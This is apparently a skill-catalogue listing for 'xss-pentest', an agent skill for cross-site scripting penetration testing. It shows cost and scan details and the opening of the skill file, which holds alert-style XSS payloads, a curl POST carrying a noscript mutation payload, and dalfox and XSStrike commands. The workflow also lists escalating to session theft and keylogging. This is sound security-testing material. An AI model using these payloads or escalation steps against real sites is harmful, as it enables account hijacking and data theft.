Borrowing it
Nothing to install: this file belongs to Suzu-Testing/metasploit-cursor-harness. Take a copy, put it at the same path in your own repository, and replace the rules that are about this project with yours.
curl -O https://raw.githubusercontent.com/Suzu-Testing/metasploit-cursor-harness/main/.cursor/skills/xss-pentest/SKILL.mdgit clone --depth 1 https://github.com/Suzu-Testing/metasploit-cursor-harnessWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/xss-pentest)<a href="https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/xss-pentest"><img src="https://agentmods.dev/badge/skills/suzu-testing/metasploit-cursor-harness/xss-pentest/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/xss-pentest"><img src="https://agentmods.dev/badge/skills/suzu-testing/metasploit-cursor-harness/xss-pentest.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00056 | $0.02240 |
| Opus 5 | $0.00028 | $0.01120 |
| Sonnet 5 | $0.00011 | $0.00448 |
| Haiku 4.5 | $0.00006 | $0.00224 |
Grade A, and why
xss-pentest scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -X POST "http://<target>/comment" -d "body=<noscript><p title=\"</noscript><img src=x onerror=alert(1)>\">" Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -X POST "http://<target>/comment" -d "body=<noscript><p title=\"</noscript><img src=x onerror=alert(1)>\">" How it starts
The opening of the file, as written. The whole thing — 256 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Cross-Site Scripting Pentest
Prerequisites
- Target is in scope (
scope/scope-master.txt, engagement ROE). - Load
web-app-pentestfor overall web testing context.
Triggers
- User input reflected in HTML body, attributes, or JavaScript strings without encoding
- Stored content (comments, profiles, messages) renders raw HTML or script-like text
- DOM sinks:
innerHTML,document.write,eval, location/hash/query parsing - URL parameters echoed in page title, error messages, or JSONP callbacks
- File upload accepted for HTML, SVG, XML, or markdown-rendered content
- CSP headers present but potentially bypassable
Workflow
Task Progress:
- [ ] Map injection points (reflected, stored, DOM) and output context
- [ ] Test with low-impact probes and context-specific payloads
- [ ] Identify filter/WAF behavior and pivot to bypass payloads
- [ ] Escalate to session theft, keylogging, or blind XSS callback
- [ ] Document with request/response evidence and impact PoC
Detection
Basic reflected probes
CLI (primary for web vulns):
dalfox url "http://<target>/page?q=test" --silence --worker 50
XSStrike -u "http://<target>/page?q=test" --crawl
Payloads: <script>alert(1)</script>, "><img src=x onerror=alert(1)>, '"><svg/onload=alert(1)>
MSF MCP: No direct module. Use msf_search_modules(query="xss") or msf_search_modules(query="cross site scripting") for related auxiliary modules.
Context-specific probes
CLI (primary):
dalfox url "http://<target>/page" --data "name=test" --method POST --silence
| Context | Probe |
|---|---|
| HTML body | <script>alert(1)</script> |
| Attribute | " onmouseover=alert(1) " |
| JS string | ';alert(1)// |
| URL/href | javascript:alert(1) |
MSF MCP: No direct module. Use msf_generate_payload only for post-exploit browser delivery chains.
DOM-based XSS
CLI (primary):
dalfox url "http://<target>/page#test" --mining-dom --silence
# Hash-based: http://target/page#<img src=x onerror=alert(1)>
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 5d ago First seen · 256 lines · 56 tokens per session scan A 2cbbfa929359
xss-pentest is a skill published in the GitHub repository Suzu-Testing/metasploit-cursor-harness (3 stars, last pushed 15d ago), licensed MIT. It adds 56 tokens to every session and 2,240 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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